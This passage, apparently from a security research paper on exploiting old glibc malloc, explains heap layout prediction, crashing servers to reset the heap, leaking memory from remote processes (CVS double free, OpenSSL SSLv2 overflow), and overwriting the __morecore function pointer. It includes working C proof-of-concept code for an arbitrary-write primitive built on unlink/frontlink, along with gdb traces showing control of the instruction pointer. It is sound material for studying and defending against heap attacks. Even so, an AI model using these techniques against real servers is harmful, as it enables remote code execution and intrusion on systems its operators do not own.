0x0108 (A) chunk 0x80498b0 0x0089 (A) chunk 0x8049938 0x0081 (F) | 0x08049728 | 0x400180c0 | chunk 0x80499b8 0x0108 (A) chunk 0x8049ac0 0x05e1 (A) chunk 0x804a0a0 0x0f61 (T) sbrk_end 0x804b000 --- BIN DUMP --- arena @ 0x40018040 - top @ 0x804a0a0 - top size = 0x0f60 bin 16 @ 0x400180c0 free_chunk @ 0x8049728 - size 0x0080 free_chunk @ 0x8049938 - size 0x0080 --- HEAP LAYOUT --- |A||A||16||A||A||16||A||A||T| As no available free chunk is enough for the requested allocation size, the top chunk was extended again. 14 free(dipsi); [1679] FREE(0x8049ac8) - CHUNK_FREE(0x40018040,0x8049ac0) merging with top new top 0x8049ac0 --- HEAP DUMP --- ADDRESS SIZE FD BK sbrk_base 0x8049598 chunk 0x8049598 0x0109 (A) chunk 0x80496a0 0x0089 (A) chunk 0x8049728 0x0081 (F) | 0x400180c0 | 0x08049938 | chunk 0x80497a8 0x0108 (A) chunk 0x80498b0 0x0089 (A) chunk 0x8049938 0x0081 (F) | 0x 8049728 | 0x400180c0 | chunk 0x80499b8 0x0108 (A) chunk 0x8049ac0 0x1541 (T) sbrk_end 0x804b000 --- BIN DUMP --- arena @ 0x40018040 - top @ 0x8049ac0 - top size = 0x1540 bin 16 @ 0x400180c0 free_chunk @ 0x8049728 - size 0x0080 free_chunk @ 0x8049938 - size 0x0080 --- HEAP LAYOUT --- |A||A||16||A||A||16||A||T| The chunk next to the top chunk is freed, so it gets coalesced with it, and it is not inserted in any bin. 15 free(lala); [1679] FREE(0x80499c0) - CHUNK_FREE(0x40018040,0x80499b8) unlink(0x8049938,0x400180c0,0x8049728) for back consolidation merging with top new top 0x8049938 --- HEAP DUMP --- ADDRESS SIZE FD BK sbrk_base 0x8049598 chunk 0x8049598 0x0109 (A) chunk 0x80496a0 0x0089 (A) chunk 0x8049728 0x0081 (F) | 0x400180c0 | 0x400180c0 | (LC) chunk 0x80497a8 0x0108 (A) chunk 0x80498b0 0x0089 (A) chunk 0x8049938 0x16c9 (T) sbrk_end 0x804b000 --- BIN DUMP --- arena @ 0x40018040 - top @ 0x8049938 - top size = 0x16c8 bin 16 @ 0x400180c0 free_chunk @ 0x8049728 - size 0x0080 --- HEAP LAYOUT --- |A||A||16||A||A||T| Again, but this time also the chunk before the freed chunk is coalesced, as it was already free. --------------------------------------------------------------------------- --] 4.3 - Layout reset - initial layout prediction - server model In this section, we analyse how different scenarios may impact on the exploitation process. In case of servers that get restarted, it may be useful to cause a 'heap reset', which means crashing the process on purpose in order to obtain a clean and known initial heap layout. The new heap that gets built together with the new restarted process is in its 'initial layout'. This refers to the initial state of the heap after the process initialization, before receiving any input from the user. The initial layout can be easily predicted and used as a the known starting point for the heap layout evolution prediction, instead of using a not virgin layout result of several modifications performed while serving client requests. This initial layout may not vary much across different versions of the targeted server, but in case of major changes in the source code. One issue very related to the heap layout analysis is the kind of process being exploited. In case of a process that serves several clients, heap layout evolution prediction is harder, as may be influenced by other clients that may be interacting with our target server while we are trying to exploit it. However, it gets useful in case where the interaction between the server and the client is very restricted, as it enables the attacker to open multiple connections to affect the same process with different input commands. On the other hand, exploiting a one client per process server (i.e. a forking server) is easier, as long as we can accurately predict the initial heap layout and we are able to populate the process memory in a fully controlled way. As it is obvious, a server that does not get restarted, gives us just one shot so, for example, bruteforcing and/or 'heap reset' can't be applied. --------------------------------------------------------------------------- --] 4.4 Obtaining information from the remote process The idea behind the techniques in this section is to force a remote server to give us information to aid us in finding the memory locations needed for exploitation. This concept was already used as different mechanisms in the 'Bypassing PaX ASLR' paper [13], used to bypass randomized space address processes. Also, the idea was suggested in [4], as 'transforming a write primitive in a read primitive'. --] 4.4.1 Modifying server static data - finding process' DATA This technique was originally seen in wuftpd ~{ exploits. When the ftpd process receives a 'help' request, answers with all the available commands. These are stored in a table which is part of the process' DATA, being a static structure. The attacker tries to overwrite part of the structure, and using the 'help' command until he sees a change in the server's answer. Now the attacker knows an absolute address within the process' DATA, being able to predict the location of the process' GOT. --] 4.4.2 Modifying user input - finding shellcode location The following technique allows the attacker to find the exact location of the injected shellcode within the process' address space, being independent of the target process. To obtain the address, the attacker provides the process with some bogus data, which is stored in some part of the process. Then, the basic primitive is used, trying to write 4 bytes in the location the bogus data was previously stored. After this, the server is forced to reply using the supplied bogus data. If the replayed data differs from the original supplied (taken into account any transformation the server may perform on our input), we can be sure that next time we send the same input sequence to the server, it will be stored in the same place. The server's answer may be truncated if a function expecting NULL terminating strings is used to craft it, or to obtain the answer's length before sending it through the network. In fact, the provided input may be stored multiple times in different locations, we will only detect a modification when we hit the location where the server reply is crafted. Note we are able to try two different addresses for each connection, speeding up the bruteforcing mechanism. The main requirement needed to use this trick, is being able to trigger the aa4bmo primitive between the time the supplied data is stored and the time the server's reply is built. Understanding the process allocation behavior, including how is processed each available input command is needed. --] 4.4.2.1 Proof of concept 3 : Hitting the output The following code simulates a process which provides us with a aa4bmo primitive to try to find where a heap allocated output buffer is located: #include <stdio.h> #define SZ 256 #define SOMEOFFSET 5 + (rand() % (SZ-1)) #define PREV_INUSE 1 #define IS_MMAP 2 #define OUTPUTSZ 1024 void aa4bmoPrimitive(unsigned long what, unsigned long where){ unsigned long *unlinkMe=(unsigned long*)malloc(SZ*sizeof(unsigned long)); int i = 0; unlinkMe[i++] = -4; unlinkMe[i++] = -4; unlinkMe[i++] = what; unlinkMe[i++] = where-8; for(;i<SZ;i++){ unlinkMe[i] = ((-(i-1) * 4) & ~IS_MMAP) | PREV_INUSE ; } free(unlinkMe+SOMEOFFSET); return; } int main(int argc, char **argv){ long where; char *output; int contador,i; printf("## OUTPUT hide and seek ##\n\n"); output = (char*)malloc(OUTPUTSZ); memset(output,'O',OUTPUTSZ); for(contador=1;argv[contador]!=NULL;contador++){ where = strtol(argv[contador], (char **)NULL, 16); printf("[.] trying %p\n",where); aa4bmoPrimitive(where,where); for(i=0;i<OUTPUTSZ;i++) if(output[i] != 'O'){ printf("(!) you found the output @ %p :(\n",where); printf("[%s]\n",output); return 0; } printf("(-) output was not @ %p :P\n",where); } printf("(x) did not find the output <:|\n"); } LD_PRELOAD=./heapy.so ./hitOutput 0x8049ccc 0x80498b8 0x8049cd0 0x8049cd4 0x8049cd8 0x8049cdc 0x80498c8 > output ## OUTPUT hide and seek ## [.] trying 0x8049ccc (-) output was not @ 0x8049ccc :P [.] trying 0x80498b8 (-) output was not @ 0x80498b8 :P [.] trying 0x8049cd0 (-) output was not @ 0x8049cd0 :P [.] trying 0x8049cd4 (-) output was not @ 0x8049cd4 :P [.] trying 0x8049cd8 (-) output was not @ 0x8049cd8 :P [.] trying 0x8049cdc (-) output was not @ 0x8049cdc :P [.] trying 0x80498c8 (!) you found the output @ 0x80498c8 :( [OOOOOOOO~X^D^H~X^D^HOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO ... OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO] Note the stamped output in the following hexdump: ... 7920 756f 6620 756f 646e 7420 6568 6f20 7475 7570 2074 2040 7830 3038 3934 6338 2038 283a 5b0a 4f4f 4f4f 4f4f 4f4f 98c8 <== 0804 98c8 0804 4f4f 4f4f 4f4f 4f4f 4f4f <== 4f4f 4f4f 4f4f 4f4f 4f4f 4f4f 4f4f 4f4f 4f4f 4f4f 4f4f 0a5d This bruteforcing mechanism is not completely accurate in some cases, for example, when the target server uses an output buffering scheme. In order to improve the technique, we might mark some part of the supplied data as real shellcode, and other as nops, requiring the nop part to be hit while bruteforcing in order to avoid obtaining an address in the middle of our shellcode. Even better, we could tag each four bytes with a masked offset (i.e. to avoid character \x00 i.e.), when we analyse the reply we will now obtain the expected offset to the shellcode, so being able in a second try to see if actually in that expected address was stored our shellcode, detecting and avoiding this way the risk of our input being split and stored separated in the heap. For example, in the CVS 'Directory' double free exploit [7], unrecognized commands (i.e. 'cucucucucu') are used to populate the server heap. The server does not answer, just stores the provided data in the heap, and waits, until a noop or a command is received. After that, the unrecognized command that was sent is sent back without any modification to the client. We can provide the server with data almost without any size restriction, this data is stored in the heap, until we force it to be replayed to us. However, analysing how our unrecognized command is stored in the heap we find that, instead of what we expected (a single memory chunk with our data), there are other structures mixted with our input: --- HEAP DUMP --- ADDRESS SIZE FD BK [...] chunk 0x80e9998 0x00661 (F) | 0x40018e48 | 0x40018e48 | chunk 0x80e9ff8 0x10008 (A) chunk 0x80fa000 0x00ff9 (F) | 0x40018ed0 | 0x0810b000 | chunk 0x80faff8 0x10008 (A) chunk 0x810b000 0x00ff9 (F) | 0x080fa000 | 0x0811c000 | chunk 0x810bff8 0x10008 (A) chunk 0x813e000 0x04001 (T) sbrk_end 0x8142000 This happens because error messages are buffered when generated, waiting to be flushed, some buffering state internal structures get allocated, and our data is split and stored in fixed size error buffers. --] 4.4.3 Modifying user input - finding libc's DATA In this situation, we are able to provide some input to the vulnerable server which is then sent as output to us again. For example, in the CVS 'Directory' double free() vulnerability, we give the server and invalid command, which is finally echoed back to the client explaining it was an invalid command. If we are able to force a call to free(), to an address pointing in somewhere in the middle of our provided input, before it is sent back to the client, we will be able to get the address of a main_arena's bin. The ability to force a free() pointing to our supplied input, depends on the exploitation scenario, being simple to achieve this in 'double-free' situations. When the server frees our input, it founds a very big sized chunk, so it links it as the first chunk (lonely chunk) of the bin. This depends mainly on the process heap layout, but depending on what we are exploiting it should be easy to predict which size would be needed to create the new free chunk as a lonely one. When frontlink() setups the new free chunk, it saves the bin address in the fw and bk pointer of the chunk, being this what ables us to obtain later the bin address. Note we should be careful with our input chunk, in order to avoid the process crashing while freeing our chunk, but this is quite simple in most cases, i.e. providing a known address near the end of the stack. The user provides as input a 'cushion chunk' to the target process. free() is called in any part of our input, so our especially crafted chunk is inserted in one of the last bins (we may know it's empty from the heap analysis stage, avoiding then a process crash). When the provided cushion chunk is inserted into the bin, the bin's address is written in the fd and bk fields of the chunk's header. --] 4.4.3.1 Proof of concept 4 : Freeing the output The following code creates a 'cushion chunk' as it would be sent to the server, and calls free() at a random location within the chunk (as the target server would do). The cushion chunk writes to a valid address to avoid crashing the process, and its backward and forward pointer are set with the bin's address by the frontlink() macro. Then, the code looks for the wanted addresses within the output, as would do an exploit which received the server answer. #include <stdio.h> #define SZ 256 #define SOMEOFFSET 5 + (rand() % (SZ-1)) #define PREV_INUSE 1 #define IS_MMAP 2 unsigned long *aa4bmoPrimitive(unsigned long what, unsigned long where){ unsigned long *unlinkMe=(unsigned long*)malloc(SZ*sizeof(unsigned long)); int i = 0; unlinkMe[i++] = -4; unlinkMe[i++] = -4; unlinkMe[i++] = what; unlinkMe[i++] = where-8; for(;i<SZ;i++){ unlinkMe[i] = ((-(i-1) * 4) & ~IS_MMAP) | PREV_INUSE ; } printf ("(-) calling free() at random address of output buffer...\n"); free(unlinkMe+SOMEOFFSET); return unlinkMe; } int main(int argc, char **argv){ unsigned long *output; int i; printf("## FREEING THE OUTPUT PoC ##\n\n"); printf("(-) creating output buffer...\n"); output = aa4bmoPrimitive(0xbfffffc0,0xbfffffc4); printf("(-) looking for bin address...\n"); for(i=0;i<SZ-1;i++) if(output[i] == output[i+1] && ((output[i] & 0xffff0000) != 0xffff0000)) { printf("(!) found bin address -> %p\n",output[i]); return 0; } printf("(x) did not find bin address\n"); } ./freeOutput ## FREEING THE OUTPUT PoC ## (-) creating output buffer... (-) calling free() at random address of output buffer... (-) looking for bin address... (!) found bin address -> 0x4212b1dc We get chunk free with our provided buffer: chunk_free (ar_ptr=0x40018040, p=0x8049ab0) at heapy.c:3221 (gdb) x/20x p 0x8049ab0: 0xfffffd6d 0xfffffd69 0xfffffd65 0xfffffd61 0x8049ac0: 0xfffffd5d 0xfffffd59 0xfffffd55 0xfffffd51 0x8049ad0: 0xfffffd4d 0xfffffd49 0xfffffd45 0xfffffd41 0x8049ae0: 0xfffffd3d 0xfffffd39 0xfffffd35 0xfffffd31 0x8049af0: 0xfffffd2d 0xfffffd29 0xfffffd25 0xfffffd21 (gdb) 0x8049b00: 0xfffffd1d 0xfffffd19 0xfffffd15 0xfffffd11 0x8049b10: 0xfffffd0d 0xfffffd09 0xfffffd05 0xfffffd01 0x8049b20: 0xfffffcfd 0xfffffcf9 0xfffffcf5 0xfffffcf1 0x8049b30: 0xfffffced 0xfffffce9 0xfffffce5 0xfffffce1 0x8049b40: 0xfffffcdd 0xfffffcd9 0xfffffcd5 0xfffffcd1 (gdb) 0x8049b50: 0xfffffccd 0xfffffcc9 0xfffffcc5 0xfffffcc1 0x8049b60: 0xfffffcbd 0xfffffcb9 0xfffffcb5 0xfffffcb1 0x8049b70: 0xfffffcad 0xfffffca9 0xfffffca5 0xfffffca1 0x8049b80: 0xfffffc9d 0xfffffc99 0xfffffc95 0xfffffc91 0x8049b90: 0xfffffc8d 0xfffffc89 0xfffffc85 0xfffffc81 (gdb) 3236 next = chunk_at_offset(p, sz); 3237 nextsz = chunksize(next); 3239 if (next == top(ar_ptr)) /* merge with top */ 3278 islr = 0; 3280 if (!(hd & PREV_INUSE)) /* consolidate backward */ 3294 if (!(inuse_bit_at_offset(next, nextsz))) /* consolidate forward */ 3296 sz += nextsz; 3298 if (!islr && next->fd == last_remainder(ar_ptr)) 3306 unlink(next, bck, fwd); 3315 set_head(p, sz | PREV_INUSE); 3316 next->prev_size = sz; 3317 if (!islr) { 3318 frontlink(ar_ptr, p, sz, idx, bck, fwd); After the frontlink() macro is called with our supplied buffer, it gets the address of the bin in which it is inserted: fronlink(0x8049ab0,-668,126,0x40018430,0x40018430) new free chunk (gdb) x/20x p 0x8049ab0: 0xfffffd6d 0xfffffd65 0x40018430 0x40018430 0x8049ac0: 0xfffffd5d 0xfffffd59 0xfffffd55 0xfffffd51 0x8049ad0: 0xfffffd4d 0xfffffd49 0xfffffd45 0xfffffd41 0x8049ae0: 0xfffffd3d 0xfffffd39 0xfffffd35 0xfffffd31 0x8049af0: 0xfffffd2d 0xfffffd29 0xfffffd25 0xfffffd21 (gdb) c Continuing. (-) looking for bin address... (!) found bin address -> 0x40018430 Let's check the address we obtained: (gdb) x/20x 0x40018430 0x40018430 <main_arena+1008>: 0x40018428 0x40018428 0x08049ab0 0x08049ab0 0x40018440 <main_arena+1024>: 0x40018438 0x40018438 0x40018040 0x000007f0 0x40018450 <main_arena+1040>: 0x00000001 0x00000000 0x00000001 0x0000016a 0x40018460 <__FRAME_END__+12>: 0x0000000c 0x00001238 0x0000000d 0x0000423c 0x40018470 <__FRAME_END__+28>: 0x00000004 0x00000094 0x00000005 0x4001370c And we see it's one of the last bins of the main_arena. Although in this example we hit the cushion chunk in the first try on purpose, this technique can be applied to brute force the location of our output buffer also at the same time (if we don't know it beforehand). --] 4.4.4 Vulnerability based heap memory leak - finding libc's data In this case, the vulnerability itself leads to leaking process memory. For example, in the OpenSSL 'SSLv2 Malformed Client Key Buffer Overflow' vulnerability [6], the attacker is able to overflow a buffer and overwrite a variable used to track a buffer length. When this length is overwritten with a length greater than the original, the process sends the content of the buffer (stored in the process' heap) to the client, sending more information than the originally stored. The attacker obtains then a limited portion of the process heap. --------------------------------------------------------------------------- --] 4.5 Abusing the leaked information The goal of the techniques in this section is to exploit the information gathered using one of the process information leak tricks shown before. --] 4.5.1 Recognizing the arena The idea is to get from the previously gathered information, the address of a malloc's bin. This applies mainly to scenarios were we are able to leak process heap memory. A bin address can be directly obtained if the attacker is able to use the 'freeing the output' technique. The obtained bin address can be used later to find the address of a function pointer to overwrite with the address of our shellcode, as shown in the next techniques. Remembering how the bins are organized in memory (circular double linked lists), we know that a chunk hanging from any bin containing just one chunk will have both pointers (bk and fd) pointing to the head of the list, to the same address, since the list is circular. [bin_n] (first chunk) ptr] ----> [<- chunk ->] [<- chunk ->] [<- fd [ chunk ptr] ----> [<- chunk ->] [<- chunk ->] [<- bk [bin_n+1] (last chunk) . . . [bin_X] ptr] ----> [<- fd [ lonely but interesting chunk ptr] ----> [<- bk . . This is really nice, as it allows us to recognize within the heap which address is pointing to a bin, located in libc's space address more exactly, to some place in the main_arena as this head of the bin list is located in the main_arena. Then, we can look for two equal memory addresses, one next to the other, pointing to libc's memory (looking for addresses of the form 0x4....... is enough for our purpose). We can suppose these pairs of addresses we found are part of a free chunk which is the only one hanging of a bin, we know it looks like... size | fd | bk How easy is to find a lonely chunk in the heap immensity? First, this depends on the exploitation scenario and the exploited process heap layout. For example, when exploiting the OpenSSL bug along different targets, we could always find at least a lonely chunk within the leaked heap memory. Second, there is another scenario in which we will be able to locate a malloc bin, even without the capability to find a lonely chunk. If we are able to find the first or last chunk of a bin, one of its pointers will reference an address within main_arena, while the other one will point to another free chunk in the process heap. So, we'll be looking for pairs of valid pointers like these: [ ptr_2_libc's_memory | ptr_2_process'_heap ] or [ ptr_2_process'_heap | ptr_2_libc's_memory ] We must take into account that this heuristic will not be as accurate as searching for a pair of equal pointers to libc's space address, but as we already said, it's possible to cross-check between multiple possible chunks. Finally, we must remember this depends totally on the way we are abusing the process to read its memory. In case we can read arbitrary addresses of memory, this is not an issue, the problem gets harder as more limited is our mechanism to retrieve remote memory. --] 4.5.2 Morecore Here, we show how to find a function pointer within the libc after obtaining a malloc bin address, using one of the before explained mechanisms. Using the size field of the retrieved chunk header and the bin_index() or smallbin_index() macro we obtain the exact address of the main_arena. We can cross check between multiple supposed lonely chunks that the main_arena address we obtained is the real one, depending on the quantity of lonely chunks pairs we'll be more sure. As long as the process doesn't crash, we may retrieve heap memory several times, as main_arena won't change its location. Moreover, I think it wouldn't be wrong to assume main_arena is located in the same address across different processes (this depends on the address on which the libc is mapped). This may even be true across different servers processes, allowing us to retrieve the main_arena through a leak in a process different from the one being actively exploited. Just 32 bytes before &main_arena[0] is located __morecore. Void_t *(*__morecore)() = __default_morecore; MORECORE() is the name of the function that is called through malloc code in order to obtain more memory from the operating system, it defaults to sbrk(). Void_t * __default_morecore (); Void_t *(*__morecore)() = __default_morecore; #define MORECORE (*__morecore) The following disassembly shows how MORECORE is called from chunk_alloc() code, an indirect call to __default_morecore is performed by default: <chunk_alloc+1468>: mov 0x64c(%ebx),%eax <chunk_alloc+1474>: sub $0xc,%esp <chunk_alloc+1477>: push %esi <chunk_alloc+1478>: call *(%eax) where $eax points to __default_morecore (gdb) x/x $eax 0x4212df80 <__morecore>: 0x4207e034 (gdb) x/4i 0x4207e034 0x4207e034 <__default_morecore>: push %ebp 0x4207e035 <__default_morecore+1>: mov %esp,%ebp 0x4207e037 <__default_morecore+3>: push %ebx 0x4207e038 <__default_morecore+4>: sub $0x10,%esp MORECORE() is called from the malloc() algorithm to extend the memory top, requesting the operating system via the sbrk. MORECORE() gets called twice from malloc_extend_top() brk = (char*)(MORECORE (sbrk_size)); ... /* Allocate correction */ new_brk = (char*)(MORECORE (correction)); which is called by chunk_alloc(): /* Try to extend */ malloc_extend_top(ar_ptr, nb); Also, MORECORE is called by main_trim() and top_chunk(). We just need to sit and wait until the code reaches any of these points. In some cases it may be necessary to arrange things in order to avoid the code crashing before. The morecore function pointer is called each time the heap needs to be extended, so forcing the process to allocate a lot of memory is recommended after overwriting the pointer. In case we are not able to avoid a crash before taking control of the process, there's no problem (unless the server dies completely), as we can expect the libc to be mapped in the same address in most cases. --] 4.5.2.1 Proof of concept 5 : Jumping with morecore The following code just shows to get the required information from a freed chunk, calculates the address of __morecore and forces a call to MORECORE() after having overwritten it. [jp@vaiolator heapy]$ ./heapy (-) lonely chunk was freed, gathering information... (!) sz = 520 - bk = 0x4212E1A0 - fd = 0x4212E1A0 (!) the chunk is in bin number 64 (!) &main_arena[0] @ 0x4212DFA0 (!) __morecore @ 0x4212DF80 (-) overwriting __morecore... (-) forcing a call to MORECORE()... Segmentation fault Let's look what happened with gdb, we'll also be using a simple modified malloc in the form of a shared library to know what is going on inside malloc's internal structures. [jp@vaiolator heapy]$ gdb heapy GNU gdb Red Hat Linux (5.2-2) Copyright 2002 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i386-redhat-linux"... (gdb) r Starting program: /home/jp/cerebro//heapy/morecore (-) lonely chunk was freed, gathering information... (!) sz = 520 - bk = 0x4212E1A0 - fd = 0x4212E1A0 (!) the chunk is in bin number 64 (!) &main_arena[0] @ 0x4212DFA0 (!) __morecore @ 0x4212DF80 (-) overwriting __morecore... (-) forcing a call to MORECORE()... Program received signal SIGSEGV, Segmentation fault. 0x41414141 in ?? () Taking a look at the output step by step: First we alloc our lonely chunk: chunk = (unsigned int*)malloc(CHUNK_SIZE); (gdb) x/8x chunk-1 0x80499d4: 0x00000209 0x00000000 0x00000000 0x00000000 0x80499e4: 0x00000000 0x00000000 0x00000000 0x00000000 Note we call malloc() again with another pointer, letting this aux pointer be the chunk next to the top_chunk... to avoid the differences in the way it is handled when freed with our purposes (remember in this special case the chunk would be coalesced with the top_chunk without getting linked to any bin): aux = (unsigned int*)malloc(0x0); [1422] MALLOC(512) - CHUNK_ALLOC(0x40019bc0,520) - returning 0x8049a18 from top_chunk - new top 0x8049c20 size 993 [1422] MALLOC(0) - CHUNK_ALLOC(0x40019bc0,16) - returning 0x8049c20 from top_chunk - new top 0x8049c30 size 977 This is the way the heap looks like up to now... --- HEAP DUMP --- ADDRESS SIZE FLAGS sbrk_base 0x80499f8 chunk 0x80499f8 33(0x21) (inuse) chunk 0x8049a18 521(0x209) (inuse) chunk 0x8049c20 17(0x11) (inuse) chunk 0x8049c30 977(0x3d1) (top) sbrk_end 0x804a000 --- HEAP LAYOUT --- |A||A||A||T| --- BIN DUMP --- ar_ptr = 0x40019bc0 - top(ar_ptr) = 0x8049c30 No bins at all exist now, they are completely empty. After that we free him: free(chunk); [1422] FREE(0x8049a20) - CHUNK_FREE(0x40019bc0,0x8049a18) - fronlink(0x8049a18,520,64,0x40019dc0,0x40019dc0) - new free chunk (gdb) x/8x chunk-1 0x80499d4: 0x00000209 0x4212e1a0 0x4212e1a0 0x00000000 0x80499e4: 0x00000000 0x00000000 0x00000000 0x00000000 The chunk was freed and inserted into some bin... which was empty as this was the first chunk freed. So this is a 'lonely chunk', the only chunk in one bin. Here we can see both bk and fd pointing to the same address in libc's memory, let's see how the main_arena looks like now: 0x4212dfa0 <main_arena>: 0x00000000 0x00010000 0x08049be8 0x4212dfa0 0x4212dfb0 <main_arena+16>: 0x4212dfa8 0x4212dfa8 0x4212dfb0 0x4212dfb0 0x4212dfc0 <main_arena+32>: 0x4212dfb8 0x4212dfb8 0x4212dfc0 0x4212dfc0 0x4212dfd0 <main_arena+48>: 0x4212dfc8 0x4212dfc8 0x4212dfd0 0x4212dfd0 0x4212dfe0 <main_arena+64>: 0x4212dfd8 0x4212dfd8 0x4212dfe0 0x4212dfe0 0x4212dff0 <main_arena+80>: 0x4212dfe8 0x4212dfe8 0x4212dff0 0x4212dff0 0x4212e000 <main_arena+96>: 0x4212dff8 0x4212dff8 0x4212e000 0x4212e000 0x4212e010 <main_arena+112>: 0x4212e008 0x4212e008 0x4212e010 0x4212e010 0x4212e020 <main_arena+128>: 0x4212e018 0x4212e018 0x4212e020 0x4212e020 0x4212e030 <main_arena+144>: 0x4212e028 0x4212e028 0x4212e030 0x4212e030 ... ... 0x4212e180 <main_arena+480>: 0x4212e178 0x4212e178 0x4212e180 0x4212e180 0x4212e190 <main_arena+496>: 0x4212e188 0x4212e188 0x4212e190 0x4212e190 0x4212e1a0 <main_arena+512>: 0x4212e198 0x4212e198 0x080499d0 0x080499d0 0x4212e1b0 <main_arena+528>: 0x4212e1a8 0x4212e1a8 0x4212e1b0 0x4212e1b0 0x4212e1c0 <main_arena+544>: 0x4212e1b8 0x4212e1b8 0x4212e1c0 0x4212e1c0 Note the completely just initialized main_arena with all its bins pointing to themselves, and the just added free chunk to one of the bins... (gdb) x/4x 0x4212e1a0 0x4212e1a0 <main_arena+512>: 0x4212e198 0x4212e198 0x080499d0 0x080499d0 Also, both bin pointers refer to our lonely chunk. Let's take a look at the heap in this moment: --- HEAP DUMP --- ADDRESS SIZE FLAGS sbrk_base 0x80499f8 chunk 0x80499f8 33(0x21) (inuse) chunk 0x8049a18 521(0x209) (free) fd = 0x40019dc0 | bk = 0x40019dc0 chunk 0x8049c20 16(0x10) (inuse) chunk 0x8049c30 977(0x3d1) (top) sbrk end 0x804a000 --- HEAP LAYOUT --- |A||64||A||T| --- BIN DUMP --- ar_ptr = 0x40019bc0 - top(ar_ptr) = 0x8049c30 bin -> 64 (0x40019dc0) free_chunk 0x8049a18 - size 520 Using the known size of the chunk, we know in which bin it was placed, so we can get main_arena's address and, finally, __morecore. (gdb) x/16x 0x4212dfa0-0x20 0x4212df80 <__morecore>: 0x4207e034 0x00000000 0x00000000 0x00000000 0x4212df90 <__morecore+16>: 0x00000000 0x00000000 0x00000000 0x00000000 0x4212dfa0 <main_arena>: 0x00000000 0x00010000 0x08049be8 0x4212dfa0 0x4212dfb0 <main_arena+16>: 0x4212dfa8 0x4212dfa8 0x4212dfb0 0x4212dfb0 Here, by default __morecore points to __default_morecore: (gdb) x/20i __morecore 0x4207e034 <__default_morecore>: push %ebp 0x4207e035 <__default_morecore+1>: mov %esp,%ebp 0x4207e037 <__default_morecore+3>: push %ebx 0x4207e038 <__default_morecore+4>: sub $0x10,%esp 0x4207e03b <__default_morecore+7>: call 0x4207e030 <memalign_hook_ini+64> 0x4207e040 <__default_morecore+12>: add $0xb22cc,%ebx 0x4207e046 <__default_morecore+18>: mov 0x8(%ebp),%eax 0x4207e049 <__default_morecore+21>: push %eax 0x4207e04a <__default_morecore+22>: call 0x4201722c <_r_debug+33569648> 0x4207e04f <__default_morecore+27>: mov 0xfffffffc(%ebp),%ebx 0x4207e052 <__default_morecore+30>: mov %eax,%edx 0x4207e054 <__default_morecore+32>: add $0x10,%esp 0x4207e057 <__default_morecore+35>: xor %eax,%eax 0x4207e059 <__default_morecore+37>: cmp $0xffffffff,%edx 0x4207e05c <__default_morecore+40>: cmovne %edx,%eax 0x4207e05f <__default_morecore+43>: mov %ebp,%esp 0x4207e061 <__default_morecore+45>: pop %ebp 0x4207e062 <__default_morecore+46>: ret 0x4207e063 <__default_morecore+47>: lea 0x0(%esi),%esi 0x4207e069 <__default_morecore+53>: lea 0x0(%edi,1),%edi To conclude, we overwrite __morecore with a bogus address, and force malloc to call __morecore: *(unsigned int*)morecore = 0x41414141; chunk=(unsigned int*)malloc(CHUNK_SIZE*4); [1422] MALLOC(2048) - CHUNK_ALLOC(0x40019bc0,2056) - extending top chunk - previous size 976 Program received signal SIGSEGV, Segmentation fault. 0x41414141 in ?? () (gdb) bt #0 0x41414141 in ?? () #1 0x4207a148 in malloc () from /lib/i686/libc.so.6 #2 0x0804869d in main (argc=1, argv=0xbffffad4) at heapy.c:52 #3 0x42017589 in __libc_start_main () from /lib/i686/libc.so.6 (gdb) frame 1 #1 0x4207a148 in malloc () from /lib/i686/libc.so.6 (gdb) x/i $pc-0x5 0x4207a143 <malloc+195>: call 0x4207a2f0 <chunk_alloc> (gdb) disass chunk_alloc Dump of assembler code for function chunk_alloc: ... 0x4207a8ac <chunk_alloc+1468>: mov 0x64c(%ebx),%eax 0x4207a8b2 <chunk_alloc+1474>: sub $0xc,%esp 0x4207a8b5 <chunk_alloc+1477>: push %esi 0x4207a8b6 <chunk_alloc+1478>: call *(%eax) At this point we see chunk_alloc trying to jump to __morecore (gdb) x/x $eax 0x4212df80 <__morecore>: 0x41414141 #include <stdio.h> #include <stdlib.h> /* some malloc code... */ #define MAX_SMALLBIN 63 #define MAX_SMALLBIN_SIZE 512 #define SMALLBIN_WIDTH 8 #define is_small_request(nb) ((nb) < MAX_SMALLBIN_SIZE - SMALLBIN_WIDTH) #define smallbin_index(sz) (((unsigned long)(sz)) >> 3) #define bin_index(sz) \ (((((unsigned long)(sz)) >> 9) == 0) ? (((unsigned long)(sz)) >> 3):\ ((((unsigned long)(sz)) >> 9) <= 4) ? 56 + (((unsigned long)(sz)) >> 6):\ ((((unsigned long)(sz)) >> 9) <= 20) ? 91 + (((unsigned long)(sz)) >> 9):\ ((((unsigned long)(sz)) >> 9) <= 84) ? 110 + (((unsigned long)(sz)) >> 12):\ ((((unsigned long)(sz)) >> 9) <= 340) ? 119 + (((unsigned long)(sz)) >> 15):\ ((((unsigned long)(sz)) >> 9) <= 1364) ? 124 + (((unsigned long)(sz)) >> 18):\ 126) #define SIZE_MASK 0x3 #define CHUNK_SIZE 0x200 int main(int argc, char *argv[]){ unsigned int *chunk,*aux,sz,bk,fd,bin,arena,morecore; chunk = (unsigned int*)malloc(CHUNK_SIZE); aux = (unsigned int*)malloc(0x0); free(chunk); printf("(-) lonely chunk was freed, gathering information...\n"); sz = chunk[-1] & ~SIZE_MASK; fd = chunk[0]; bk = chunk[1]; if(bk==fd) printf("\t(!) sz = %u - bk = 0x%X - fd = 0x%X\n",sz,bk,fd); else printf("\t(X) bk != fd ...\n"),exit(-1); bin = is_small_request(sz)? smallbin_index(sz) : bin_index(sz); printf("\t(!) the chunk is in bin number %d\n",bin); arena = bk-bin*2*sizeof(void*); printf("\t(!) &main_arena[0] @ 0x%X\n",arena); morecore = arena-32; printf("\t(!) __morecore @ 0x%X\n",morecore); printf("(-) overwriting __morecore...\n"); *(unsigned int*)morecore = 0x41414141; printf("(-) forcing a call to MORECORE()...\n"); chunk=(unsigned int*)malloc(CHUNK_SIZE*4); return 7; } This technique works even when the process is loaded in a randomized address space, as the address of the function pointer is gathered in runtime from the targeted process. The mechanism is fully generic, as every process linked to the glibc can be exploited this way. Also, no bruteforcing is needed, as just 